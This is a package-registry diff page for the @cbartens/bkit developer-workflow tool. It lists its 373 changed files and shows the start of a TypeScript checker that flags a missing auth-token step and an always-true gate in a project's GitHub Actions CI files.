@cbartens/bkit 0.0.0-stage → 5.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (373) hide show
  1. package/.bkit/README.md +421 -0
  2. package/.bkit/core/.agents/context.md +95 -0
  3. package/.bkit/core/.agents/docs.md +62 -0
  4. package/.bkit/core/.agents/rules.md +147 -0
  5. package/.bkit/core/.agents/skills.md +43 -0
  6. package/.bkit/core/.bkit/LICENSE.md +151 -0
  7. package/.bkit/core/.bkit/README.md +421 -0
  8. package/.bkit/core/.bkit/cloud.md +502 -0
  9. package/.bkit/core/.bkit/comparison.md +318 -0
  10. package/.bkit/core/.bkit/install.md +496 -0
  11. package/.bkit/core/.bkit/jsonl.md +497 -0
  12. package/.bkit/core/.bkit/prompts.md +474 -0
  13. package/.bkit/core/.bkit/providers.md +598 -0
  14. package/.bkit/core/.bkit/templates.md +471 -0
  15. package/.bkit/core/.bkit/trackers.md +95 -0
  16. package/.bkit/core/.bkit/workflows.md +1546 -0
  17. package/.bkit/core/.claude/hooks/bkit-gateguard.cjs +82 -0
  18. package/.bkit/core/.claude/hooks/bkit-guardrails.cjs +93 -0
  19. package/.bkit/core/.claude/hooks/bkit-preflight.sh +74 -0
  20. package/.bkit/core/.codex/hooks/bkit-gateguard.cjs +115 -0
  21. package/.bkit/core/.codex/hooks/bkit-guardrails.cjs +135 -0
  22. package/.bkit/core/.cursor/hooks/bkit-gateguard.cjs +111 -0
  23. package/.bkit/core/.cursor/hooks/bkit-guardrails.cjs +169 -0
  24. package/.bkit/core/.cursor/hooks/bkit-preflight.sh +63 -0
  25. package/.bkit/core/.opencode/plugin/bkit-gateguard.js +225 -0
  26. package/.bkit/core/AGENTS.md +77 -0
  27. package/.bkit/core/LICENSE.md +149 -0
  28. package/.bkit/core/docs/templates/bkit-audit-accessibility.md +272 -0
  29. package/.bkit/core/docs/templates/bkit-audit-adoption.md +223 -0
  30. package/.bkit/core/docs/templates/bkit-audit-agents.md +230 -0
  31. package/.bkit/core/docs/templates/bkit-audit-aio-seo.md +227 -0
  32. package/.bkit/core/docs/templates/bkit-audit-analytics.md +266 -0
  33. package/.bkit/core/docs/templates/bkit-audit-annotations.md +230 -0
  34. package/.bkit/core/docs/templates/bkit-audit-app-performance.md +270 -0
  35. package/.bkit/core/docs/templates/bkit-audit-app-store.md +254 -0
  36. package/.bkit/core/docs/templates/bkit-audit-architecture.md +221 -0
  37. package/.bkit/core/docs/templates/bkit-audit-ci-performance.md +241 -0
  38. package/.bkit/core/docs/templates/bkit-audit-config.md +230 -0
  39. package/.bkit/core/docs/templates/bkit-audit-cost.md +218 -0
  40. package/.bkit/core/docs/templates/bkit-audit-coverage.md +221 -0
  41. package/.bkit/core/docs/templates/bkit-audit-database.md +229 -0
  42. package/.bkit/core/docs/templates/bkit-audit-dead-code.md +251 -0
  43. package/.bkit/core/docs/templates/bkit-audit-deferrals.md +283 -0
  44. package/.bkit/core/docs/templates/bkit-audit-dependencies.md +268 -0
  45. package/.bkit/core/docs/templates/bkit-audit-documentation.md +280 -0
  46. package/.bkit/core/docs/templates/bkit-audit-duplication.md +253 -0
  47. package/.bkit/core/docs/templates/bkit-audit-failures.md +259 -0
  48. package/.bkit/core/docs/templates/bkit-audit-flakes.md +237 -0
  49. package/.bkit/core/docs/templates/bkit-audit-gates.md +250 -0
  50. package/.bkit/core/docs/templates/bkit-audit-issues.md +273 -0
  51. package/.bkit/core/docs/templates/bkit-audit-llm.md +239 -0
  52. package/.bkit/core/docs/templates/bkit-audit-logs.md +266 -0
  53. package/.bkit/core/docs/templates/bkit-audit-models.md +210 -0
  54. package/.bkit/core/docs/templates/bkit-audit-privacy.md +211 -0
  55. package/.bkit/core/docs/templates/bkit-audit-prompts.md +216 -0
  56. package/.bkit/core/docs/templates/bkit-audit-red-team.md +220 -0
  57. package/.bkit/core/docs/templates/bkit-audit-reliability.md +222 -0
  58. package/.bkit/core/docs/templates/bkit-audit-repo.md +224 -0
  59. package/.bkit/core/docs/templates/bkit-audit-security.md +274 -0
  60. package/.bkit/core/docs/templates/bkit-audit-slop.md +200 -0
  61. package/.bkit/core/docs/templates/bkit-audit-testing.md +270 -0
  62. package/.bkit/core/docs/templates/bkit-audit-usability.md +237 -0
  63. package/.bkit/core/docs/templates/bkit-plan.md +476 -0
  64. package/.bkit/core/engine/checks/after/auth.ts +247 -0
  65. package/.bkit/core/engine/checks/after/ci-yml.ts +739 -0
  66. package/.bkit/core/engine/checks/after/github.ts +424 -0
  67. package/.bkit/core/engine/checks/after/index.ts +556 -0
  68. package/.bkit/core/engine/checks/after/managed.ts +217 -0
  69. package/.bkit/core/engine/checks/after/tools.ts +427 -0
  70. package/.bkit/core/engine/checks/after/vercel.ts +101 -0
  71. package/.bkit/core/engine/checks/before/context-fetch.ts +429 -0
  72. package/.bkit/core/engine/checks/before/env.ts +201 -0
  73. package/.bkit/core/engine/checks/before/files.ts +202 -0
  74. package/.bkit/core/engine/checks/before/index.ts +206 -0
  75. package/.bkit/core/engine/checks/before/mcp.ts +127 -0
  76. package/.bkit/core/engine/checks/before/repo.ts +77 -0
  77. package/.bkit/core/engine/checks/before/version.ts +67 -0
  78. package/.bkit/core/engine/checks/status-holes.ts +479 -0
  79. package/.bkit/core/engine/cli.ts +871 -0
  80. package/.bkit/core/engine/commands/analysis.ts +550 -0
  81. package/.bkit/core/engine/commands/ci/ci.ts +483 -0
  82. package/.bkit/core/engine/commands/comply.ts +415 -0
  83. package/.bkit/core/engine/commands/harvest.ts +459 -0
  84. package/.bkit/core/engine/commands/install/check.ts +70 -0
  85. package/.bkit/core/engine/commands/install/doctor.ts +247 -0
  86. package/.bkit/core/engine/commands/install/install.ts +528 -0
  87. package/.bkit/core/engine/commands/install/uninstall.ts +972 -0
  88. package/.bkit/core/engine/commands/install/upgrade.ts +1026 -0
  89. package/.bkit/core/engine/commands/launch.ts +139 -0
  90. package/.bkit/core/engine/commands/lib.ts +494 -0
  91. package/.bkit/core/engine/commands/registry.ts +53 -0
  92. package/.bkit/core/engine/commands/setup/setup.ts +184 -0
  93. package/.bkit/core/engine/commands/telemetry.ts +32 -0
  94. package/.bkit/core/engine/commands/workflow/branches.ts +1514 -0
  95. package/.bkit/core/engine/commands/workflow/context.ts +961 -0
  96. package/.bkit/core/engine/commands/workflow/counters.ts +268 -0
  97. package/.bkit/core/engine/commands/workflow/fids.ts +243 -0
  98. package/.bkit/core/engine/commands/workflow/issues.ts +675 -0
  99. package/.bkit/core/engine/commands/workflow/ledgers.ts +575 -0
  100. package/.bkit/core/engine/commands/workflow/locks.ts +478 -0
  101. package/.bkit/core/engine/commands/workflow/prs.ts +1087 -0
  102. package/.bkit/core/engine/commands/workflow/repo.ts +220 -0
  103. package/.bkit/core/engine/commands/workflow/roadmap.ts +576 -0
  104. package/.bkit/core/engine/commands/workflow/runs.ts +2140 -0
  105. package/.bkit/core/engine/commands/workflow/runtime.ts +300 -0
  106. package/.bkit/core/engine/commands/workflow/skills.ts +118 -0
  107. package/.bkit/core/engine/commands/workflow/status.ts +455 -0
  108. package/.bkit/core/engine/commands/workflow/steps.ts +1300 -0
  109. package/.bkit/core/engine/commands/workflow/tests.ts +161 -0
  110. package/.bkit/core/engine/commands/workflow/workflows.ts +1573 -0
  111. package/.bkit/core/engine/commands/workflow/workstreams.ts +164 -0
  112. package/.bkit/core/engine/commands/workflow/worktrees.ts +534 -0
  113. package/.bkit/core/engine/install/cloud-env.ts +925 -0
  114. package/.bkit/core/engine/install/managed-block.ts +212 -0
  115. package/.bkit/core/engine/install/manifest.ts +448 -0
  116. package/.bkit/core/engine/install/modules/claude.ts +362 -0
  117. package/.bkit/core/engine/install/modules/cloud.ts +174 -0
  118. package/.bkit/core/engine/install/modules/codex.ts +219 -0
  119. package/.bkit/core/engine/install/modules/core.ts +600 -0
  120. package/.bkit/core/engine/install/modules/cursor.ts +231 -0
  121. package/.bkit/core/engine/install/modules/index.ts +242 -0
  122. package/.bkit/core/engine/install/modules/opencode.ts +573 -0
  123. package/.bkit/core/engine/install/placeholders.ts +108 -0
  124. package/.bkit/core/engine/install/template-copies.ts +119 -0
  125. package/.bkit/core/engine/install/version-file.ts +284 -0
  126. package/.bkit/core/engine/install/write.ts +467 -0
  127. package/.bkit/core/engine/ledgers/clamp-log.ts +32 -0
  128. package/.bkit/core/engine/ledgers/status.ts +213 -0
  129. package/.bkit/core/engine/ledgers/telemetry.ts +1143 -0
  130. package/.bkit/core/engine/render/hosts.ts +372 -0
  131. package/.bkit/core/engine/render/models.ts +323 -0
  132. package/.bkit/core/engine/render/parts.ts +38 -0
  133. package/.bkit/core/engine/render/trackers.ts +170 -0
  134. package/.bkit/core/engine/shared/egress.ts +345 -0
  135. package/.bkit/core/engine/shared/json.ts +16 -0
  136. package/.bkit/core/engine/shared/log-prefix.ts +9 -0
  137. package/.bkit/core/engine/shared/package-json.ts +29 -0
  138. package/.bkit/core/engine/shared/package-manager.ts +38 -0
  139. package/.bkit/core/engine/shared/package-roots.ts +163 -0
  140. package/.bkit/core/engine/shared/protected-paths.ts +164 -0
  141. package/.bkit/core/engine/shared/settings.ts +72 -0
  142. package/.bkit/core/engine/shared/timeouts.ts +20 -0
  143. package/.bkit/core/engine/tools/wording.ts +748 -0
  144. package/.bkit/core/hooks/gateguard-edit-payload.js +18 -0
  145. package/.bkit/core/hooks/gateguard-engine.js +193 -0
  146. package/.bkit/core/hooks/guardrails-shell.js +154 -0
  147. package/.bkit/core/hooks/guardrails-tiers.js +68 -0
  148. package/.bkit/core/hooks/preflight-linear.sh +73 -0
  149. package/.bkit/core/prompts/bkit-audit-generate.md +66 -0
  150. package/.bkit/core/prompts/bkit-build-challenge-1.md +79 -0
  151. package/.bkit/core/prompts/bkit-build-challenge-2.md +81 -0
  152. package/.bkit/core/prompts/bkit-build-challenge-reconcile.md +68 -0
  153. package/.bkit/core/prompts/bkit-build-challenge-remediate.md +70 -0
  154. package/.bkit/core/prompts/bkit-build-challenge-tests.md +73 -0
  155. package/.bkit/core/prompts/bkit-build-install-skills.md +67 -0
  156. package/.bkit/core/prompts/bkit-build-plan-current.md +75 -0
  157. package/.bkit/core/prompts/bkit-build-plan-execute.md +72 -0
  158. package/.bkit/core/prompts/bkit-build-plan-gaps-remediate.md +73 -0
  159. package/.bkit/core/prompts/bkit-build-plan-verify.md +88 -0
  160. package/.bkit/core/prompts/bkit-build-summary.md +93 -0
  161. package/.bkit/core/prompts/bkit-debug-abort-handover.md +90 -0
  162. package/.bkit/core/prompts/bkit-debug-failure-diagnose.md +151 -0
  163. package/.bkit/core/prompts/bkit-debug-failure-remediate.md +78 -0
  164. package/.bkit/core/prompts/bkit-debug-failure-soak.md +73 -0
  165. package/.bkit/core/prompts/bkit-debug-summary.md +95 -0
  166. package/.bkit/core/prompts/bkit-design-brainstorm-ideate-1.md +72 -0
  167. package/.bkit/core/prompts/bkit-design-brainstorm-ideate-2.md +72 -0
  168. package/.bkit/core/prompts/bkit-design-brainstorm-ideate-3.md +75 -0
  169. package/.bkit/core/prompts/bkit-design-generate.md +110 -0
  170. package/.bkit/core/prompts/bkit-design-organise.md +85 -0
  171. package/.bkit/core/prompts/bkit-design-review-1.md +121 -0
  172. package/.bkit/core/prompts/bkit-design-review-2.md +111 -0
  173. package/.bkit/core/prompts/bkit-design-spike.md +97 -0
  174. package/.bkit/core/prompts/bkit-design-summary.md +106 -0
  175. package/.bkit/core/prompts/bkit-design-update.md +66 -0
  176. package/.bkit/core/prompts/bkit-plan-complexity-check.md +66 -0
  177. package/.bkit/core/prompts/bkit-plan-complexity-split.md +87 -0
  178. package/.bkit/core/prompts/bkit-plan-generate.md +74 -0
  179. package/.bkit/core/prompts/bkit-plan-review-1.md +90 -0
  180. package/.bkit/core/prompts/bkit-plan-review-2.md +80 -0
  181. package/.bkit/core/prompts/bkit-plan-review-3.md +92 -0
  182. package/.bkit/core/prompts/bkit-plan-scope-check-1.md +84 -0
  183. package/.bkit/core/prompts/bkit-plan-scope-check-2.md +84 -0
  184. package/.bkit/core/prompts/bkit-plan-summary.md +106 -0
  185. package/.bkit/core/prompts/bkit-plan-update.md +68 -0
  186. package/.bkit/core/prompts/bkit-ship-conflict-resolve.md +90 -0
  187. package/.bkit/core/prompts/bkit-ship-deferred-sweep.md +94 -0
  188. package/.bkit/core/prompts/bkit-ship-summary.md +77 -0
  189. package/.bkit/core/prompts/bkit-ship-update-docs.md +71 -0
  190. package/.bkit/core/prompts/bkit-utility-compress-markdown.md +91 -0
  191. package/.bkit/core/prompts/bkit-utility-update-decisions.md +75 -0
  192. package/.bkit/core/prompts/bkit-utility-update-deferrals.md +76 -0
  193. package/.bkit/core/prompts/bkit-utility-update-documentation.md +61 -0
  194. package/.bkit/core/prompts/bkit-utility-update-failures.md +76 -0
  195. package/.bkit/core/prompts/bkit-utility-update-knowledge.md +75 -0
  196. package/.bkit/core/prompts/bkit-utility-update-roadmap.md +82 -0
  197. package/.bkit/core/workflows/bkit-auto.md +121 -0
  198. package/.bkit/core/workflows/bkit-build.md +802 -0
  199. package/.bkit/core/workflows/bkit-debug.md +642 -0
  200. package/.bkit/core/workflows/bkit-design.md +495 -0
  201. package/.bkit/core/workflows/bkit-plan.md +510 -0
  202. package/.bkit/core/workflows/bkit-ship.md +650 -0
  203. package/.bkit/shared/.bkit/.env.example +108 -0
  204. package/.bkit/shared/.claude/bkit-cloud.md +117 -0
  205. package/.bkit/shared/.claude/settings.json +88 -0
  206. package/.bkit/shared/.codex/hooks.json +26 -0
  207. package/.bkit/shared/.cursor/bkit-cloud.md +84 -0
  208. package/.bkit/shared/.cursor/hooks.json +26 -0
  209. package/.bkit/shared/.cursor/mcp.json +15 -0
  210. package/.bkit/shared/.cursor/rules/bkit-rules.mdc +12 -0
  211. package/.bkit/shared/.gitattributes +37 -0
  212. package/.bkit/shared/.mcp.json +16 -0
  213. package/.bkit/shared/.opencode/opencode.json +62 -0
  214. package/.bkit/shared/CLAUDE.md +11 -0
  215. package/.bkit/shared/LICENSE.md +22 -0
  216. package/.bkit/shared/docs/architecture.md +19 -0
  217. package/.bkit/shared/docs/data-schema.md +19 -0
  218. package/.bkit/shared/docs/deployments.md +438 -0
  219. package/.bkit/shared/docs/design.md +39 -0
  220. package/.bkit/shared/docs/noise.md +19 -0
  221. package/.bkit/shared/docs/observability.md +25 -0
  222. package/.bkit/shared/docs/security.md +42 -0
  223. package/.bkit/shared/docs/setup.md +30 -0
  224. package/.bkit/shared/docs/technology.md +18 -0
  225. package/.bkit/shared/docs/testing.md +413 -0
  226. package/.bkit/shared/gitignore +92 -0
  227. package/.bkit/templates/.claude/hooks/bkit-cloud-bootstrap.sh +192 -0
  228. package/.bkit/templates/.cursor/Dockerfile +68 -0
  229. package/.bkit/templates/.cursor/environment.json +6 -0
  230. package/.bkit/templates/.cursor/settings.json +11 -0
  231. package/.bkit/templates/.envrc +7 -0
  232. package/.bkit/templates/.github/dependabot.yml +52 -0
  233. package/.bkit/templates/.github/renovate.json5 +239 -0
  234. package/.bkit/templates/.github/workflows/bkit-ci.yml +1082 -0
  235. package/.bkit/templates/.github/workflows/bkit-cloud.yml +566 -0
  236. package/.bkit/templates/.github/workflows/bkit-renovate.yml +107 -0
  237. package/.bkit/templates/.graphifyignore +108 -0
  238. package/.bkit/templates/.husky/pre-commit +16 -0
  239. package/.bkit/templates/.husky/pre-push +91 -0
  240. package/.bkit/templates/.lintstagedrc.json +3 -0
  241. package/.bkit/templates/.prettierignore +41 -0
  242. package/.bkit/templates/.serena/project.yml +243 -0
  243. package/.bkit/templates/.vale/styles/House/Filler.yml +11 -0
  244. package/.bkit/templates/.vale/styles/House/Hedging.yml +12 -0
  245. package/.bkit/templates/.vale/styles/House/LLMSlop.yml +13 -0
  246. package/.bkit/templates/.vale/styles/House/Verbose.yml +12 -0
  247. package/.bkit/templates/.vale.ini +67 -0
  248. package/.bkit/templates/LICENSE.md +22 -0
  249. package/.bkit/templates/context/bkit-cloudrun.md +84 -0
  250. package/.bkit/templates/context/bkit-expo.md +186 -0
  251. package/.bkit/templates/context/bkit-github.md +79 -0
  252. package/.bkit/templates/context/bkit-inngest.md +45 -0
  253. package/.bkit/templates/context/bkit-maestro.md +76 -0
  254. package/.bkit/templates/context/bkit-playwright.md +62 -0
  255. package/.bkit/templates/context/bkit-resend.md +36 -0
  256. package/.bkit/templates/context/bkit-sentry.md +65 -0
  257. package/.bkit/templates/context/bkit-serena.md +33 -0
  258. package/.bkit/templates/context/bkit-stripe.md +36 -0
  259. package/.bkit/templates/context/bkit-supabase.md +59 -0
  260. package/.bkit/templates/context/bkit-tavily.md +49 -0
  261. package/.bkit/templates/context/bkit-vercel.md +64 -0
  262. package/.bkit/templates/docs/capabilities.md +72 -0
  263. package/.bkit/templates/scripts/ci/accepted-divergences.json +21 -0
  264. package/.bkit/templates/scripts/ci/check-accepted-divergences.mjs +152 -0
  265. package/.bkit/templates/scripts/ci/check-accepted-divergences.test.mjs +130 -0
  266. package/.bkit/templates/scripts/ci/lanes/resolve-push-base.mjs +98 -0
  267. package/.bkit/templates/scripts/ci/lanes/resolve-push-base.test.mjs +86 -0
  268. package/.bkit/templates/scripts/graphify/bkit-graph-drift-rules.json +23 -0
  269. package/.bkit/templates/scripts/graphify/bkit-graph-drift.py +208 -0
  270. package/.bkit/templates/scripts/graphify/bkit-graph-eager-rules.json +35 -0
  271. package/.bkit/templates/scripts/graphify/bkit-graph-eager.py +236 -0
  272. package/.bkit/templates/scripts/graphify/bkit-graph-external-rules.json +17 -0
  273. package/.bkit/templates/scripts/graphify/bkit-graph-imports.py +290 -0
  274. package/.bkit/templates/scripts/graphify/bkit-graph-pre-push.sh +19 -0
  275. package/.bkit/templates/scripts/graphify/bkit-graph-repair.py +120 -0
  276. package/.bkit/templates/scripts/graphify/bkit-graph-surface.py +232 -0
  277. package/.bkit/templates/scripts/graphify/bkit-graphify-graphml.py +36 -0
  278. package/.bkit/templates/scripts/graphify/bkit-graphify-rollup.py +927 -0
  279. package/.bkit/templates/scripts/graphify/bkit-graphify.sh +351 -0
  280. package/.bkit/templates/scripts/launchd/ai.bkit.launchd.plist +26 -0
  281. package/.bkit/templates/scripts/launchd/bkit-launchd-env.sh +53 -0
  282. package/.bkit/templates/scripts/launchd/launchd.env.example +13 -0
  283. package/.bkit/templates/scripts/prettier/bkit-insert-ignore.mjs +275 -0
  284. package/.bkit/templates/scripts/secrets/bkit-secrets.config.mjs +66 -0
  285. package/.bkit/templates/scripts/secrets/bkit-secrets.mjs +785 -0
  286. package/.bkit/templates/scripts/serena/bkit-serena-mcp.sh +30 -0
  287. package/.bkit/templates/scripts/serena/bkit-serena.mcp.json +9 -0
  288. package/.bkit/templates/scripts/slop/bkit-slop-type-suppression.mjs +286 -0
  289. package/.bkit/templates/slop-scan.config.json +120 -0
  290. package/CHANGELOG.md +1486 -0
  291. package/LICENSE.md +161 -0
  292. package/README.md +185 -2
  293. package/dist/checks/after/auth.js +232 -0
  294. package/dist/checks/after/ci-yml.js +718 -0
  295. package/dist/checks/after/github.js +400 -0
  296. package/dist/checks/after/index.js +447 -0
  297. package/dist/checks/after/managed.js +187 -0
  298. package/dist/checks/after/tools.js +351 -0
  299. package/dist/checks/after/vercel.js +102 -0
  300. package/dist/checks/before/context-fetch.js +426 -0
  301. package/dist/checks/before/env.js +173 -0
  302. package/dist/checks/before/files.js +185 -0
  303. package/dist/checks/before/index.js +162 -0
  304. package/dist/checks/before/mcp.js +111 -0
  305. package/dist/checks/before/repo.js +71 -0
  306. package/dist/checks/before/version.js +60 -0
  307. package/dist/checks/status-holes.js +393 -0
  308. package/dist/cli.js +692 -0
  309. package/dist/commands/analysis.js +325 -0
  310. package/dist/commands/ci/ci.js +438 -0
  311. package/dist/commands/comply.js +310 -0
  312. package/dist/commands/harvest.js +354 -0
  313. package/dist/commands/install/check.js +61 -0
  314. package/dist/commands/install/doctor.js +207 -0
  315. package/dist/commands/install/install.js +461 -0
  316. package/dist/commands/install/uninstall.js +815 -0
  317. package/dist/commands/install/upgrade.js +771 -0
  318. package/dist/commands/launch.js +118 -0
  319. package/dist/commands/lib.js +362 -0
  320. package/dist/commands/registry.js +50 -0
  321. package/dist/commands/setup/setup.js +158 -0
  322. package/dist/commands/telemetry.js +29 -0
  323. package/dist/commands/workflow/branches.js +1265 -0
  324. package/dist/commands/workflow/context.js +846 -0
  325. package/dist/commands/workflow/counters.js +227 -0
  326. package/dist/commands/workflow/fids.js +224 -0
  327. package/dist/commands/workflow/issues.js +585 -0
  328. package/dist/commands/workflow/ledgers.js +472 -0
  329. package/dist/commands/workflow/locks.js +364 -0
  330. package/dist/commands/workflow/prs.js +904 -0
  331. package/dist/commands/workflow/repo.js +199 -0
  332. package/dist/commands/workflow/roadmap.js +495 -0
  333. package/dist/commands/workflow/runs.js +1717 -0
  334. package/dist/commands/workflow/runtime.js +257 -0
  335. package/dist/commands/workflow/skills.js +110 -0
  336. package/dist/commands/workflow/status.js +392 -0
  337. package/dist/commands/workflow/steps.js +1093 -0
  338. package/dist/commands/workflow/tests.js +144 -0
  339. package/dist/commands/workflow/workflows.js +1342 -0
  340. package/dist/commands/workflow/workstreams.js +141 -0
  341. package/dist/commands/workflow/worktrees.js +473 -0
  342. package/dist/install/cloud-env.js +819 -0
  343. package/dist/install/managed-block.js +182 -0
  344. package/dist/install/manifest.js +376 -0
  345. package/dist/install/modules/claude.js +288 -0
  346. package/dist/install/modules/cloud.js +152 -0
  347. package/dist/install/modules/codex.js +193 -0
  348. package/dist/install/modules/core.js +511 -0
  349. package/dist/install/modules/cursor.js +186 -0
  350. package/dist/install/modules/index.js +152 -0
  351. package/dist/install/modules/opencode.js +504 -0
  352. package/dist/install/placeholders.js +87 -0
  353. package/dist/install/template-copies.js +106 -0
  354. package/dist/install/version-file.js +204 -0
  355. package/dist/install/write.js +342 -0
  356. package/dist/ledgers/clamp-log.js +27 -0
  357. package/dist/ledgers/status.js +156 -0
  358. package/dist/ledgers/telemetry.js +637 -0
  359. package/dist/render/hosts.js +339 -0
  360. package/dist/render/models.js +288 -0
  361. package/dist/render/parts.js +33 -0
  362. package/dist/render/trackers.js +135 -0
  363. package/dist/shared/egress.js +299 -0
  364. package/dist/shared/json.js +16 -0
  365. package/dist/shared/log-prefix.js +7 -0
  366. package/dist/shared/package-json.js +22 -0
  367. package/dist/shared/package-manager.js +32 -0
  368. package/dist/shared/package-roots.js +145 -0
  369. package/dist/shared/protected-paths.js +153 -0
  370. package/dist/shared/settings.js +44 -0
  371. package/dist/shared/timeouts.js +19 -0
  372. package/dist/tools/wording.js +680 -0
  373. package/package.json +101 -4
@@ -0,0 +1,739 @@
1
+ // checks/after/ci-yml.ts — the consumer's CI workflows: token env, actionlint, run injection,
2
+ // the capstone contract, the cloud gate, floating action tags, tagged tests without a CI home,
3
+ // run levels, turbo inputs and the integration env.
4
+
5
+ import * as fs from "node:fs";
6
+ import * as path from "node:path";
7
+ import { readPackageJson } from "../../shared/package-json.js";
8
+ import type { PreflightFinding } from "../before/index.js";
9
+
10
+ // ---------------------------------------------------------------------------
11
+ // Other post-install detectors
12
+ // ---------------------------------------------------------------------------
13
+
14
+ /**
15
+ * Detect whether the bkit-ci.yml install step is wired to authenticate to GH Packages.
16
+ * Returns null if no bkit-ci.yml, no `pnpm install` step, or the step is correctly wired
17
+ * (no false positives).
18
+ *
19
+ * On pnpm >=10.34.3 the correct shape requires BOTH:
20
+ * (1) a `pnpm config set "//npm.pkg.github.com/:_authToken=$BKIT_GH_TOKEN_INSTALL"` step that
21
+ * writes the token into pnpm's user-level config before install, AND
22
+ * (2) the `BKIT_GH_TOKEN_INSTALL: ${{ secrets.BKIT_GH_TOKEN_INSTALL }}` env mapping that feeds it.
23
+ * Either missing → the next install 401s on download. Severity is "blocker" when the
24
+ * project .npmrc shows the repo authenticates to GH Packages (registry mapping or a
25
+ * ${BKIT_GH_TOKEN_INSTALL} ref); otherwise "advisory". Phase 3 does not exit-1
26
+ * (writes already happened).
27
+ */
28
+ export function detectCiYmlMissingTokenEnv(cwd: string): PreflightFinding | null {
29
+ const ciPath = path.join(cwd, ".github", "workflows", "bkit-ci.yml");
30
+ if (!fs.existsSync(ciPath)) return null;
31
+ const content = fs.readFileSync(ciPath, "utf-8");
32
+
33
+ // Require an install step before flagging (avoid false positives).
34
+ if (!content.includes("pnpm install")) return null;
35
+
36
+ // Env mapping (whitespace/quoting variations):
37
+ // BKIT_GH_TOKEN_INSTALL: ${{ secrets.BKIT_GH_TOKEN_INSTALL }} | "${{ … }}" | ${{secrets.BKIT_GH_TOKEN_INSTALL}}
38
+ const hasTokenEnv =
39
+ /BKIT_GH_TOKEN_INSTALL\s*:\s*["']?\$\{\{\s*secrets\.BKIT_GH_TOKEN_INSTALL\s*\}\}["']?/.test(
40
+ content,
41
+ );
42
+ // User-level auth step: `pnpm config set "//npm.pkg.github.com/:_authToken=…"`.
43
+ const hasConfigSet = /pnpm\s+config\s+set\s+["']?\/\/npm\.pkg\.github\.com\/:_authToken=/.test(
44
+ content,
45
+ );
46
+ // Correctly wired → no finding.
47
+ if (hasTokenEnv && hasConfigSet) return null;
48
+
49
+ // Blocker when .npmrc shows the repo authenticates to GH Packages — next run 401s.
50
+ const npmrcPath = path.join(cwd, ".npmrc");
51
+ let npmrcUsesGhPackages = false;
52
+ if (fs.existsSync(npmrcPath)) {
53
+ const npmrcContent = fs.readFileSync(npmrcPath, "utf-8");
54
+ npmrcUsesGhPackages =
55
+ npmrcContent.includes("@cbartens:registry=") ||
56
+ npmrcContent.includes("${BKIT_GH_TOKEN_INSTALL}");
57
+ }
58
+
59
+ const missing: string[] = [];
60
+ if (!hasConfigSet) missing.push("a `pnpm config set` auth step");
61
+ if (!hasTokenEnv) missing.push("the BKIT_GH_TOKEN_INSTALL env mapping");
62
+ const missingText = missing.join(" and ");
63
+
64
+ return {
65
+ id: "ci-yml-missing-token-env",
66
+ severity: npmrcUsesGhPackages ? "blocker" : "advisory",
67
+ detect: npmrcUsesGhPackages
68
+ ? `.github/workflows/bkit-ci.yml has a pnpm install step but is missing ${missingText}, and .npmrc authenticates to the GitHub Packages registry. The next CI run will 401 on the @cbartens/bkit download.`
69
+ : `.github/workflows/bkit-ci.yml has a pnpm install step but is missing ${missingText}.`,
70
+ action:
71
+ "Update the install step in .github/workflows/bkit-ci.yml to write the auth token into pnpm's user-level config BEFORE install:\n\n" +
72
+ " - name: Install Dependencies\n" +
73
+ " run: |\n" +
74
+ ' pnpm config set "//npm.pkg.github.com/:_authToken=$BKIT_GH_TOKEN_INSTALL"\n' +
75
+ " pnpm install --frozen-lockfile\n" +
76
+ " env:\n" +
77
+ " BKIT_GH_TOKEN_INSTALL: ${{ secrets.BKIT_GH_TOKEN_INSTALL }}\n\n" +
78
+ "pnpm >=10.34.3 does not authenticate a project-.npmrc ${BKIT_GH_TOKEN_INSTALL} env-substitution (it 401s on download), so the token must be set via `pnpm config set` — the shell expands $BKIT_GH_TOKEN_INSTALL to the literal token before pnpm stores it in user-level config, version-proof across pnpm 10.x and 11.x.\n\n" +
79
+ "Also confirm the secret exists: `gh secret list | grep BKIT_GH_TOKEN_INSTALL`. If absent: `gh secret set BKIT_GH_TOKEN_INSTALL --body=$BKIT_GH_TOKEN_INSTALL`.",
80
+ };
81
+ }
82
+
83
+ /**
84
+ * Detect the always-true `if:` gate in `.github/workflows/bkit-cloud.yml`: a `|`
85
+ * block scalar wrapping ${{ }}. GitHub Actions sees extra characters around ${{ }}
86
+ * (the block scalar's newlines) and evaluates the whole condition to a non-empty
87
+ * string === always true — so the free-tier `bkit [auto route]` gate never fires and
88
+ * the run job executes on every triggering event (unintended runner-minute spend).
89
+ *
90
+ * Fires only while the broken construct is present; the fixed form is a `>-` folded
91
+ * expression with no ${{ }} wrapper. bkit-cloud.yml is the consumer's copy of a
92
+ * template and bkit never rewrites it, so the action inlines the manual fix.
93
+ */
94
+ export function detectBkitCloudYmlAlwaysTrueGate(cwd: string): PreflightFinding | null {
95
+ const cloudPath = path.join(cwd, ".github", "workflows", "bkit-cloud.yml");
96
+ if (!fs.existsSync(cloudPath)) return null;
97
+ const content = fs.readFileSync(cloudPath, "utf-8");
98
+ // Broken construct: an `if:` block scalar (`|` / `>`) whose first content line is ${{.
99
+ if (!/^\s*if:\s*[|>][^\n]*\n\s*\$\{\{/m.test(content)) return null;
100
+ return {
101
+ id: "bkit-auto-yml-always-true-gate",
102
+ severity: "advisory",
103
+ detect:
104
+ ".github/workflows/bkit-cloud.yml writes its auto-route `if:` gate as a `|` block scalar wrapping ${{ }} — GitHub Actions evaluates this to a non-empty string (always true), so the free-tier `bkit [auto route]` gate never fires and the job runs on every triggering event.",
105
+ action:
106
+ "Replace the auto-route job's `if: |` block scalar with a `>-` folded expression that drops the ${{ }} wrapper (GitHub Actions evaluates `if:` expressions natively):\n\n" +
107
+ " if: >-\n" +
108
+ " github.event_name == 'workflow_dispatch'\n" +
109
+ " || (\n" +
110
+ " (github.event.workflow_run.conclusion == 'success' || github.event.workflow_run.conclusion == 'failure')\n" +
111
+ " && contains(github.event.workflow_run.head_commit.message, 'bkit [auto route]')\n" +
112
+ " )\n\n" +
113
+ "Validate with `actionlint` — the `[if-cond]` finding disappears once the wrapper is gone.",
114
+ };
115
+ }
116
+
117
+ /**
118
+ * Matches a `.github/workflows/bkit-ci.yml` copied from the bkit-ci.yml template: an uncommented
119
+ * job named `bkit-tests` or `bkit-tests-<lane>`, the job names every lane of the template
120
+ * carries.
121
+ */
122
+ const ADOPTED_CI_JOB_RE = /^[ \t]+bkit-tests(?:-[\w-]+)?:[ \t]*$/m;
123
+
124
